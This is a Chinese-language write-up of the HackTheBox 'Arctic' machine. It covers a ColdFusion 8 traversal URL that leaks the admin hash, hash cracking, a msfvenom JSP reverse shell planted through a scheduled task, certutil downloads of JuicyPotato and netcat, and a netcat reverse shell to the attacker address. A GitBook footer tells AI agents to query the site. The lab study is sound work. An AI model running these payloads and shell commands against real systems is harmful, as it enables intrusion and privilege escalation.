> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).

# Artic HackTheBox 详解

{% hint style="warning" %}
**技能：**

* Adobe ColdFusion 8 利用
* 目录遍历漏洞
* 破解哈希
* 滥用计划任务——创建恶意 JSP 文件
* 滥用 SeImpersonate 权限（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/a976d4f40fa8ca5e20592fd29b1dc4da88bc8470" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/ac142effd884ac3e93bcb49fb4a0093cb88ad3f1" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```

<figure><img src="/files/b2e39de1d2ea991a4a943b8aad558c99462a2cc9" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板。

<figure><img src="/files/33bd5236af780bee64ba52d92b317ad1064782b6" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```

<figure><img src="/files/732c8d20e76c1b84c5f7f81da802e2886f5abe36" alt=""><figcaption></figcaption></figure>

## Adobe ColdFusion 8 利用（端口 8500）

我们发现端口 8500 上有一个管理服务，需要用户名和密码才能连接到 Adobe ColdFusion。

<figure><img src="/files/adc19854579bdbdb2aa11d1a29b3909bcf01dd99" alt=""><figcaption></figcaption></figure>

通过搜索与之关联的漏洞 `searchsploit`，我们找到了一个用于目录遍历漏洞的利用脚本。

<figure><img src="/files/9d86698dca5e62448cd333c8a00eb5995786cd25" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

此脚本揭示了一个可用于访问密码列表的 LFI 漏洞：

<figure><img src="/files/74cf495a1fce7177cbac9fc2db252962c995cd94" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="/files/b81b9e4e0a70987beff8ddd7bc9d0789637a023d" alt=""><figcaption></figcaption></figure>

该文件包含以下密码值：

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="/files/da39cc1dd8ee67609a4c8b76dddd9b8dbe9ad129" alt=""><figcaption></figcaption></figure>

### 破解密码

{% embed url="<https://crackstation.net/>" %}

使用 CrackStation，我们破解了此哈希，密码为 `happyday`。我们现在可以成功连接。

<figure><img src="/files/051986f2e1e6cdcdc9d4b442b568caa80f3f7466" alt=""><figcaption></figcaption></figure>

### 创建恶意计划任务

<figure><img src="/files/04ee5411c49302b4f7c568dd058fe2be6d2657bf" alt=""><figcaption></figcaption></figure>

在计划任务部分，我们将创建一个新任务，以便将恶意文件保存到 `C:/ColdFusion8/wwwroot/CFIDE` 目录中，我们对此目录拥有读写权限。

<figure><img src="/files/4fcc612d140a7f6c2e03912be9559dfd112825cd" alt="" width="563"><figcaption></figcaption></figure>

**JSP 文件创建：** 由于服务器能够解释 JSP 文件，我们将使用以下命令生成一个 JSP Shell： `msfvenom`:

<figure><img src="/files/ea9768b91f62610462eee4eb56257eb8e497e5f9" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="/files/df05987a6a9c0e4cbb28cc1010d84ae0f344dfa6" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**添加新任务：** 我们设置计划任务来运行这个恶意文件。

<figure><img src="/files/40b754c226c88cf2a217cd0cf99e4606c6b9e751" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8b175a2e94045bd7d9646f9eb7e989cc329ef094" alt="" width="563"><figcaption></figcaption></figure>

/*/* 用于传输文件的 HTTP 服务器：/*/* 为了传输 JSP 文件，我们在本机上启动一个 HTTP 服务器：

```bash
python3 -m http.server 80
```

<figure><img src="/files/714c5700299153ad45e0adbca08e304cd3802b4a" alt=""><figcaption></figcaption></figure>

**监听与执行：** 我们监听端口 443 以接收反向 Shell，然后在以下位置执行计划任务： `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="/files/ee44e04347db6e8c73b01ebbb920ff687f7dcc91" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/2da3bef9e6f6355ed551b12b9303805d5f9d2271" alt="" width="563"><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/f317c5f29e1fbb0c7d5fd2d58b8fd7c9ce1bc65c" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### 滥用 SeImpersonatePrivilege：

我们发现该用户拥有 `SeImpersonatePrivilege` 权限，使其容易受到某些提权技术的影响。以下命令可确认该权限的存在：

```bash
whoami /priv
```

<figure><img src="/files/1cd8cdea01bbe961c12787874ecb985a1e3881ae" alt=""><figcaption></figcaption></figure>

为了利用此漏洞，我们将使用 **JuicyPotato**，这是一个在 Windows 环境中滥用该权限的知名工具。

**下载所需工具**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**启动 HTTP 服务器** 在我们的攻击机器上提供文件：

```bash
python3 -m http.server 8080
```

**将文件传输到目标机器** 列出文件内容，使用 `certutil`:

```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```

<figure><img src="/files/933a8f485d3dba44b173a6585b24981e360b65ab" alt=""><figcaption></figcaption></figure>

**执行 JuicyPotato 进行提权**

我们现在将运行 JuicyPotato 以获得高权限会话。以下命令启动 JuicyPotato，它会运行 `cmd.exe` 并以高权限启动，然后通过 Netcat 与我们的攻击机建立连接：

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```

**登录到高权限会话**

为了拦截连接，我们监听 1234 端口：

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="/files/1f2796008dec3ff35fd90f6777d36cfa2b66940a" alt="" width="563"><figcaption></figcaption></figure>

### root 的 flag :)

<figure><img src="/files/74cbe99301af8a696392b9a83d5008cb0de7e5c4" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/2d21e2c78c22ec2eeda53a0223462821a9958bbe" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
